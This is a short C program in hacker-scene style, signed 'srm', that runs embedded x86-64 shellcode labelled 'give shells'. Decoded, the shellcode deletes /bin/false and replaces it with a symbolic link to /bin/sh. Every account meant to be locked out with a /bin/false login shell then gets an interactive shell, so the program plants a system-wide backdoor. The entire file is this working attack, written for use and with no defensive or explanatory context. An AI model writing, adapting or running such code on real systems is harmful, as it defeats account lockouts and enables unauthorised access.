/* !!11 give shells !11 ,grep -c false /etc/passwd 16 ,./unlock , Greetings to the #usual suspects :D --srm */ #include #define UNLOCK \ "\xe9\x13\x00\x00\x00\x2f\x62\x69\x6e\x2f\x66\x61\x6c\x73\x65\x00\ \x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x8d\x3d\xe6\xff\xff\xff\xb8\ \x57\x00\x00\x00\x0f\x05\x48\x8d\x3d\xe3\xff\xff\xff\x48\x8d\x35\ \xd1\xff\xff\xff\xb8\x58\x00\x00\x00\x0f\x05\xc3" int main () { int (*f)(); f = (int(*)())UNLOCK; (int)(*f)(); return 0; }